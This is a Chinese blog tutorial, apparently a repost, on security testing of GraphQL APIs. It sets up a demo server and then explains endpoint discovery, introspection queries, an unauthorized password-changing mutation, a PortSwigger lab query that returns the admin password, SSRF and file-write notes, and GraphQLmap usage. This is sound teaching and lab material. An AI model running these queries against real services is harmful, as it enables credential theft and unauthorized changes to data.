浅谈GraphQL API安全测试

admin 2024年6月5日12:21:20评论15 views字数 5569阅读18分33秒阅读模式

GraphQL 是什么?

GraphQL 是一种用于 API(应用程序编程接口)的查询语言,以及一个用于执行这些查询的服务器端运行时系统。它由 Facebook 于 2012 年开发并于 2015 年开源。GraphQL 允许客户端仅请求所需的数据,并从服务器接收结构化的响应,从而提高了数据传输的效率和灵活性。GraphQL 可以类比 SQL(Structured Query Language),它们都是一种查询语言,通过查询语句可以获得期望的结果。不同之处有两点:

  1. SQL 是基于结构化的数据模型,而 GraphQL 基于图。
  2. SQL 是从数据库查询,而 GraphQL 是从服务器查询。
浅谈GraphQL API安全测试

以下是 GraphQL 的一些主要特点:

  • 客户端指定数据需求:客户端可以指定需要哪些数据字段,从而避免了不必要的数据传输。
  • 单一请求获取多资源:客户端可以在一个请求中获取多个资源的数据,而无需发起多个 HTTP 请求。
  • 强类型系统:GraphQL 使用一种强类型系统,允许开发者定义 API 的类型结构。这使得开发者可以在开发阶段捕获许多错误,并生成文档和工具。
  • 实时更新:通过订阅(subscriptions),客户端可以实时接收来自服务器的数据更新。
  • 与 REST 的对比:与传统的 REST API 相比,GraphQL 提供了更灵活的数据查询方式,减少了过多或不足的数据传输问题。

一个简单的 GraphQL 查询示例如下:

  1. query {
      posts {
        id
        content
      }
    }

这个查询会返回所有帖子的信息。浅谈GraphQL API安全测试GraphQL 的服务器端通常用一些常见的编程语言和框架实现,比如 Node.js、Python、Java、Ruby 等等。客户端可以使用各种库和工具来发起 GraphQL 查询,比如 Apollo Client、Relay 等。

GraphQL 环境搭建

项目使用的技术栈:

  • Typescript:JavaScript 的类型化超集,可编译为纯 JavaScript。
  • Node.js:一个基于 Chrome V8 引擎的 JavaScript 运行时。
  • GraphQL:API 的查询语言,用于使用现有数据来完成这些查询的运行时。
  • TypeGraphQL:Node.js 中 GraphQL API 的现代框架。
  1. 项目初始化:

mkdir graphql  && cd graphql

npm init -y

2.安装依赖包:

  1. npm install apollo-server@2.13.1 
      class-validator@0.12.2 
      graphql@14.6.0 
      reflect-metadata@0.1.13 
      type-graphql@0.17.6

    npm install --save-dev @types/graphql@14.0.7 
      @types/node@12.12.39 
      ts-node@8.10.1 
      typescript@3.9.2

在项目根目录加入文件 graphql/tsconfig.json:

  1. {
      "compilerOptions": {
        "target": "es2018",
        "module": "commonjs",
        "lib": ["es2018", "esnext.asynciterable"],
        "strictFunctionTypes": true,
        "strictNullChecks": true,
        "noImplicitAny": true,
        "noImplicitReturns": true,
        "noImplicitThis": true,
        "experimentalDecorators": true,
        "emitDecoratorMetadata": true
      }
    }

tsconfig.json 是 Typescript 的配置文件,它指定编译项目所需的根文件和编译器选项。准备工作已经做完了,接下来我们写点代码。创建 graphql/src/index.ts 文件,并写入相关代码:浅谈GraphQL API安全测试

修改package.json内容:

  1. {
      "name": "graphql",
      "version": "1.0.0",
      "description": "",
      "main": "index.js",
      "scripts": {
        "start": "ts-node src"
      }
      ..........
    }

运行npm start结果如下:浅谈GraphQL API安全测试

接下来我们引入GraphQL,开始写一些逻辑代码:修改 src/index.ts为:

  1. import "reflect-metadata"
    import { buildSchema, ObjectType, Field, ID, Resolver, Query } from "type-graphql";
    import { ApolloServer } from "apollo-server";

    @ObjectType()
    class Post {

      @Field(type => ID)
      id: string;

      @Field()
      created: Date;

      @Field()
      content: string;
    }

    @Resolver(Post)
    class PostResolver {

      @Query(returns => [Post])
      async posts(): Promise<Post[]> {
        return [
          {
            id: "0",
            created: new Date(),
            content: '提供基于GraphQL API的数据查询及访问,「Hasura」获990万美元A轮...'
          },
          {
            id: "1",
            created: new Date(),
            content: '为什么GraphQL是API的未来'
          },
          {
            id: "2",
            created: new Date(),
            content: 'Netflix:我们为什么要将 GraphQL 引入前端架构?'
          },
        ]
      }
    }

    async function main() {

      try {

        const schema = await buildSchema({
          resolvers: [PostResolver],
          dateScalarMode: 'timestamp'
        });


        const server = new ApolloServer({
          schema,
          playground: true
        });

        const { url } = await server.listen(4444);

        console.log(`GraphQL Playground available at ${url}`);

      } catch (error) {
        console.error(error);
      }
    }


    main();

再次运行项目:npm start浅谈GraphQL API安全测试访问:http://localhost:4444/浅谈GraphQL API安全测试我们先点击右侧 SCHEMA 按钮,在左则输入查询语句

  1. {
      posts {
        id
        content
      }
    }

返回所有id和content内容浅谈GraphQL API安全测试

GraphQL基础

1. Mutation

Mutation 是 GraphQL 中用于数据修改的操作,可以用于创建、更新或删除数据。例如,更新用户信息、创建新帖子或删除现有评论。以下是一个简单的 Mutation,用于更新指定 ID 的帖子内容:

  1. mutation {
      updatePostContent(id: "1", content: "这是更新后的内容") {
        id
        created
        content
      }
    }

浅谈GraphQL API安全测试我们通过查询后发现内容被修改了:浅谈GraphQL API安全测试

2. 自省查询

  1. {
      __schema {
      types {
      name
     }
     }
    }

浅谈GraphQL API安全测试这个查询会返回 GraphQL API 中所有类型的名称。

GraphQL API 漏洞测试

1. 查找graphQL路径

以下是一些常见的GraphQL路径:

  1. /graphql
    /graphiql
    /v1/graphql
    /v2/graphql
    /v3/graphql
    /v1/graphiql
    /v2/graphiql
    /v3/graphiql
    /api/graphql
    /api/graphiql
    /graphql/api
    /graphql/console
    /console
    /playground
    /gql
    /query
    /graphql-devtools
    /graphql-explorer
    /graphql-playground
    /graphql.php
    /index.php?graphql
    ......

2. 敏感信息查找

自省是一种让客户端查询 GraphQL 服务自身结构的机制。这使得客户端可以动态地了解服务支持的查询和变更类型。自省查询是普通 GraphQL 查询的一部分,但它们专门用于获取 GraphQL 服务的元数据。GraphQL 通过利用内省系统,可列出 GraphQL中所有Query、Mutation、ObjectType、Field、Arguments。查询存在的类型:

query {__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

浅谈GraphQL API安全测试在测试过程中,我们可以根据获取到的接口去构造query查询,以便寻找敏感信息,如email,password等  。

浅谈GraphQL API安全测试浅谈GraphQL API安全测试

3. 越权修改数据

也可以构造mutation语句去越权修改数据等

  1. mutation {
      updatePassword(id: "1", newPassword: "newSecretPassword123") {
        id
        email
        firstName
        lastName
        password
      }
    }
浅谈GraphQL API安全测试

4. 查找管理员密码

我们通过graphql接口,查询找到管理员密码,登入后台删除carlos 用户完成实验。实验地址:https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure

浅谈GraphQL API安全测试

首先通过自省查询获取GraphQL架构的详细信息。它请求了架构中所有类型的信息,包括每种类型的字段及其参数的详细信息,构如下语句:

{"operationName":"IntrospectionQuery","variables":{},"query":"query IntrospectionQuery  {__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"}

浅谈GraphQL API安全测试

我可以从返回的信息中发现user这个类型中存在username和password字段,可以通过构造getUser去查询user的数据浅谈GraphQL API安全测试浅谈GraphQL API安全测试

构造如下查询语句:

  1. {
      "operationName": "getUser",
      "variables": {
        "id": 1
      },
      "query": "query getUser($id: Int!) { getUser(id: $id) { id username password } }"
    }

执行成功返回管理员密码浅谈GraphQL API安全测试登录后台,删除carlos用户即可完成试验。浅谈GraphQL API安全测试

5. GraphQL  SSRF请求伪造攻击

在DVGA主页上,单击导入粘贴。页面有一个接受 URL 的字段,如果在GraphQL相关查询操作允许本地主机或其他服务器不限制输入,就可能遭受服务端请求伪造攻击。浅谈GraphQL API安全测试浅谈GraphQL API安全测试浅谈GraphQL API安全测试

6. 任意文件写入

在GraphQL API 中,文件上传、文件下载等操作也有可能任意文件写入、任意文件读取、目录穿越等漏洞。首先在一个文件上传点抓包,发现存在GraphQL 接口浅谈GraphQL API安全测试

修改filename文件上传路径

浅谈GraphQL API安全测试文件被上传至tmp目录浅谈GraphQL API安全测试

7.GraphQL安全测试工具

GraphQLmap是一个可以跟GraphQL节点交互的脚本引擎,广大研究人员可以使用GraphQLmap来针对   GraphQL节点进行渗透测试和安全研究。工具安装:项目主页:  https://github.com/swisskyrepo/GraphQLmap连接一个graphql节点命令如下

./bin/graphqlmap -u http://192.168.231.1:4444/graphql

连接graphql节点成功后,使用dump_via_fragment 命令查询graphql架构信息,Query、Mutation、等信息。浅谈GraphQL API安全测试

总结

本文通过详细介绍 GraphQL 的基本概念、环境搭建、基础操作和安全测试,帮助读者理解并应用这一现代 API 查询语言。通过构建一个简单的 GraphQL 项目,展示了从初始化到实现查询和变更的全过程。文章重点讨论了 GraphQL API 的安全性,列举了多种常见的安全测试方法,包括路径查找、敏感信息查找、越权操作、SSRF 攻击和任意文件写入等。最后,介绍了实用的安全测试工具 GraphQLmap,提供了具体的使用方法。希望本文能为开发者提供有价值的参考,帮助他们在实际项目中更好地利用和保护 GraphQL API。

原文始发于微信公众号(山石网科安全技术研究院):浅谈GraphQL API安全测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月5日12:21:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈GraphQL API安全测试https://cn-sec.com/archives/2817534.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息